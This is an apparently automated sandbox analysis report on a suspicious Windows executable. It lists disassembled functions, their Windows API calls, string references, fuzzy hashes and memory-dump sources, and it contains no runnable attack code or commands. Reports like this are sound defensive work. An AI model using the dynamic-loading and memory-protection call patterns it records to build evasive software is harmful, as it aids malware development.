Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction ID: b492cd94208fe9a136032c47e7ca6226b28abdd7f17191690e67bc203102cabe
Opcode Fuzzy Hash: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction Fuzzy Hash: 94E0E672010209BEDF195F50DD0AD7B371DEB04304F11492EFA06D4051E6B5AD706634

Function 00405F61 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,00414ED0,0040CED0,0040345A,0040A230,0040A230,0040335E,00414ED0,00004000,?,00000000,00403208), ref: 00405F75

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction ID: 5f0138a6a2c6563494c064dd15accf188ef387db15323854b273470b931b092f
Opcode Fuzzy Hash: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction Fuzzy Hash: 7AE0EC3221025AAFDF109E959D04EFB7B6CEB05360F044836FD15E6150D675E8619BA4

Function 00405F90 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,0040F933,0040CED0,004033DE,0040CED0,0040F933,00414ED0,00004000,?,00000000,00403208,00000004), ref: 00405FA4

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction ID: 11bffb161eade2b6c2cb4bf4b25223a29cd6195b7324502744f40ed25e3c63a9
Opcode Fuzzy Hash: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction Fuzzy Hash: 20E08C3220125BEBEF119E518C00AEBBB6CFB003A0F004432FD11E3180D234E9208BA8

Function 75562993 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(7556505C,00000004,00000040,7556504C), ref: 755629B1

Memory Dump Source

Source File: 00000001.00000002.1884142121.0000000075561000.00000020.00000001.01000000.00000004.sdmp, Offset: 75560000, based on PE: true

Associated: 00000001.00000002.1884110487.0000000075560000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1884190450.0000000075564000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1884228003.0000000075566000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_75560000_V7OHj6ISEo.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 42b003e987185a8c5626b01f5443a20f1f4e53a80a3fbb4e0fd473b4f07b4f82
Instruction ID: 938c50494312421dec0a91256291f3104595f585e1a38ba02ba7210e9f0cc35b
Opcode Fuzzy Hash: 42b003e987185a8c5626b01f5443a20f1f4e53a80a3fbb4e0fd473b4f07b4f82
Instruction Fuzzy Hash: FCF092B29A42C1DEC351CF2EC5447093BE0FB09B24BA0462BF188DE240EB34E088CB91

Function 00406255 Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,00422708,?,?,004062E3,00422708,00000000,?,?,Call,?), ref: 00406279

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction ID: 7481b87947078d819ae160a747d33610cb99cd3c2235475b1dc937127606ac98
Opcode Fuzzy Hash: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction Fuzzy Hash: C1D0123210420DBBDF11AE90DD01FAB372DAF14714F114826FE06A4091D775D530AB14

Function 0040345D Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040315B,?), ref: 0040346B

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction ID: c7266a3154837caca095f11e7777f6dda2278cbf6cff4ee7664d3894fc3aa091
Opcode Fuzzy Hash: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction Fuzzy Hash: ECB01271240300BFDA214F00DF09F057B21AB90700F10C034B348380F086711035EB0D

Function 00404394 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004041BF), ref: 004043A2

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: bd7e8dc2c5871e064c502d82a01b6574672f0de651032f207fd53ed2aa40cebc
Instruction ID: e4171d0a4592585bcf4a2ca6fb2eaed9aff33c093be5cb9cf1e9125a9c9e1139
Opcode Fuzzy Hash: bd7e8dc2c5871e064c502d82a01b6574672f0de651032f207fd53ed2aa40cebc
Instruction Fuzzy Hash: 0EB09235290600ABDE214B40DE49F457A62E7A4701F008178B240640B0CAB200A1DB19

Function 7556121B Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,?,7556123B,?,755612DF,00000019,755611BE,-000000A0), ref: 75561225

Memory Dump Source

Source File: 00000001.00000002.1884142121.0000000075561000.00000020.00000001.01000000.00000004.sdmp, Offset: 75560000, based on PE: true

Associated: 00000001.00000002.1884110487.0000000075560000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1884190450.0000000075564000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1884228003.0000000075566000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_75560000_V7OHj6ISEo.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: ed413e80fe676c3fdcf18dc3345a19e95c0c064c715bcf4fa8a023802c0cd95c
Instruction ID: c130ae926420adc942a6487d432e18de0b86d85452f6f7624f3914fb75145f54
Opcode Fuzzy Hash: ed413e80fe676c3fdcf18dc3345a19e95c0c064c715bcf4fa8a023802c0cd95c
Instruction Fuzzy Hash: D1B01272E50040DFEE008B6ECC46F353354E700B11F544001F600CC180C920F8048534

Non-executed Functions

Function 0040558F Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004055ED
GetDlgItem.USER32(?,000003EE), ref: 004055FC
GetClientRect.USER32(?,?), ref: 00405639
GetSystemMetrics.USER32(00000002), ref: 00405640
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405661
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405672
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405685
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405693
SendMessageW.USER32(?,00001024,00000000,?), ref: 004056A6
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004056C8
ShowWindow.USER32(?,00000008), ref: 004056DC
GetDlgItem.USER32(?,000003EC), ref: 004056FD
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040570D
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405726
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405732
GetDlgItem.USER32(?,000003F8), ref: 0040560B

Part of subcall function 00404394: SendMessageW.USER32(00000028,?,00000001,004041BF), ref: 004043A2

GetDlgItem.USER32(?,000003EC), ref: 0040574F
CreateThread.KERNEL32(00000000,00000000,Function_00005523,00000000), ref: 0040575D
CloseHandle.KERNEL32(00000000), ref: 00405764
ShowWindow.USER32(00000000), ref: 00405788
ShowWindow.USER32(?,00000008), ref: 0040578D
ShowWindow.USER32(00000008), ref: 004057D7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040580B
CreatePopupMenu.USER32 ref: 0040581C
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405830
GetWindowRect.USER32(?,?), ref: 00405850
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405869
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058A1
OpenClipboard.USER32(00000000), ref: 004058B1
EmptyClipboard.USER32 ref: 004058B7
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004058C3
GlobalLock.KERNEL32(00000000), ref: 004058CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058E1
GlobalUnlock.KERNEL32(00000000), ref: 00405901
SetClipboardData.USER32(0000000D,00000000), ref: 0040590C
CloseClipboard.USER32 ref: 00405912

Strings

{, xrefs: 004057F5
(7B, xrefs: 0040587D

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: (7B${
API String ID: 590372296-525222780
Opcode ID: 1d1f977673fe441afad02026140f53aaec566053b515a361d3c8f7f727d52ca3
Instruction ID: ef9837d71be30d97cad1ad5ee6bf48d4101bac37d77d0ad6e239d9f51a57dc01
Opcode Fuzzy Hash: 1d1f977673fe441afad02026140f53aaec566053b515a361d3c8f7f727d52ca3
Instruction Fuzzy Hash: C4B16A70900608FFDB11AFA0DD85AAE7B79FB48355F00403AFA45B61A0CB754E52DF68

Function 00404850 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040489F
SetWindowTextW.USER32(00000000,?), ref: 004048C9
SHBrowseForFolderW.SHELL32(?), ref: 0040497A
CoTaskMemFree.OLE32(00000000), ref: 00404985
lstrcmpiW.KERNEL32(Call,00423728,00000000,?,?), ref: 004049B7
lstrcatW.KERNEL32(?,Call), ref: 004049C3
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004049D5

Part of subcall function 00405A32: GetDlgItemTextW.USER32(?,?,00000400,00404A0C), ref: 00405A45

Part of subcall function 0040667C: CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,"C:\Users\user\Desktop\V7OHj6ISEo.exe",00403480,C:\Users\user~1\AppData\Local\Temp\,771B3420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
Part of subcall function 0040667C: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
Part of subcall function 0040667C: CharNextW.USER32(?,00000000,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,"C:\Users\user\Desktop\V7OHj6ISEo.exe",00403480,C:\Users\user~1\AppData\Local\Temp\,771B3420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
Part of subcall function 0040667C: CharPrevW.USER32(?,?,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,"C:\Users\user\Desktop\V7OHj6ISEo.exe",00403480,C:\Users\user~1\AppData\Local\Temp\,771B3420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

GetDiskFreeSpaceW.KERNEL32(004216F8,?,?,0000040F,?,004216F8,004216F8,?,00000001,004216F8,?,?,000003FB,?), ref: 00404A98
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404AB3

Part of subcall function 00404C0C: lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
Part of subcall function 00404C0C: wsprintfW.USER32 ref: 00404CB6
Part of subcall function 00404C0C: SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

C:\Users\user\AppData\Local\Iw, xrefs: 004049A0
(7B, xrefs: 0040494D
A, xrefs: 00404973
Call, xrefs: 004049B1, 004049B6, 004049C1

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$A$C:\Users\user\AppData\Local\Iw$Call
API String ID: 2624150263-944196606
Opcode ID: 60ed21fe2f328070877fcf4fb1291f079d9e461e65f212612ce38389da6d49e8
Instruction ID: 217fbe9c53fcac7a38d38ba6b36a95d3c52d9e466bb1b0d29fe77156d884dce9
Opcode Fuzzy Hash: 60ed21fe2f328070877fcf4fb1291f079d9e461e65f212612ce38389da6d49e8
Instruction Fuzzy Hash: 01A161F1A00205ABDB11EFA5C985AAF77B8EF84315F10803BF611B62D1D77C9A418B6D

Function 75561B5F Relevance: 20.1, APIs: 13, Instructions: 576stringlibrarymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 7556121B: GlobalAlloc.KERNELBASE(00000040,?,7556123B,?,755612DF,00000019,755611BE,-000000A0), ref: 75561225

GlobalAlloc.KERNEL32(00000040,00001CA4), ref: 75561C6B
lstrcpyW.KERNEL32(00000008,?), ref: 75561CB3
lstrcpyW.KERNEL32(00000808,?), ref: 75561CBD
GlobalFree.KERNEL32(00000000), ref: 75561CD0
GlobalFree.KERNEL32(?), ref: 75561DB2
GlobalFree.KERNEL32(?), ref: 75561DB7
GlobalFree.KERNEL32(?), ref: 75561DBC
GlobalFree.KERNEL32(00000000), ref: 75561FA6
lstrcpyW.KERNEL32(?,?), ref: 75562140
GetModuleHandleW.KERNEL32(00000008), ref: 755621B5
LoadLibraryW.KERNEL32(00000008), ref: 755621C6
GetProcAddress.KERNEL32(?,?), ref: 75562220
lstrlenW.KERNEL32(00000808), ref: 7556223A

Memory Dump Source

Source File: 00000001.00000002.1884142121.0000000075561000.00000020.00000001.01000000.00000004.sdmp, Offset: 75560000, based on PE: true

Associated: 00000001.00000002.1884110487.0000000075560000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1884190450.0000000075564000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1884228003.0000000075566000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_75560000_V7OHj6ISEo.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 245916457-0
Opcode ID: 7ce358d2d77d23c5facf0294310a7d9096cdc47ab8fb3f141a3618d8a08f9595
Instruction ID: 04b0828c8d3f1c72d5a69164d3eed5d9454fb7ee9543c0b7e46718805d7df4e1
Opcode Fuzzy Hash: 7ce358d2d77d23c5facf0294310a7d9096cdc47ab8fb3f141a3618d8a08f9595
Instruction Fuzzy Hash: 52229971D08686DBCB21DFA4C5846FEB7B1FB04B55F10892AD5A7E7280DB709A80CBD1

Function 00402104 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004084E4,?,00000001,004084D4,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402183

Strings

C:\Users\user\AppData\Local\Iw, xrefs: 004021C3

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\Iw
API String ID: 542301482-4214039554
Opcode ID: 4630f11a642d4e3ef4f98d2454dc0e8d663bfbe8c95ddff176ede1b1d5b4d77b
Instruction ID: a370b0fa9b2e606d6813e98b4c017b265e4ea8c47d708310f479c561ceb58c7b
Opcode Fuzzy Hash: 4630f11a642d4e3ef4f98d2454dc0e8d663bfbe8c95ddff176ede1b1d5b4d77b
Instruction Fuzzy Hash: 80414A71A00208AFCF04DFE4C988A9D7BB5FF48314B24457AF915EB2E1DBB99981CB54

Function 00402868 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402877

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 6fd2962910cdf18594a7907c322fc030c9e7a26b232b9d9b5d327205302d7dac
Instruction ID: e6f127318fd58302517648c6e406f49d0db104963aa8d987e753e5cb7f87edca
Opcode Fuzzy Hash: 6fd2962910cdf18594a7907c322fc030c9e7a26b232b9d9b5d327205302d7dac
Instruction Fuzzy Hash: EDF08271A14104EBDB10DBA4DA499AEB378EF14314F60467BF545F21E0DBB45D809B2A

Function 0040451E Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 004045BC
GetDlgItem.USER32(?,000003E8), ref: 004045D0
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004045ED
GetSysColor.USER32(?), ref: 004045FE
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040460C
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040461A
lstrlenW.KERNEL32(?), ref: 0040461F
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040462C
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404641
GetDlgItem.USER32(?,0000040A), ref: 0040469A
SendMessageW.USER32(00000000), ref: 004046A1
GetDlgItem.USER32(?,000003E8), ref: 004046CC
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040470F
LoadCursorW.USER32(00000000,00007F02), ref: 0040471D
SetCursor.USER32(00000000), ref: 00404720
LoadCursorW.USER32(00000000,00007F00), ref: 00404739
SetCursor.USER32(00000000), ref: 0040473C
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040476B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040477D

Strings

Call, xrefs: 004046FB
N, xrefs: 004046BA

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: Call$N
API String ID: 3103080414-3438112850
Opcode ID: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction ID: 26ae409e5f73424340e4bb55f347a499eb46e427c8d4328441e026d38e95c6c2
Opcode Fuzzy Hash: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction Fuzzy Hash: 4B6173B1900209BFDB109F60DD85EAA7B69FB84314F00853AFB05772E0D7789D52CB58

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429240,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
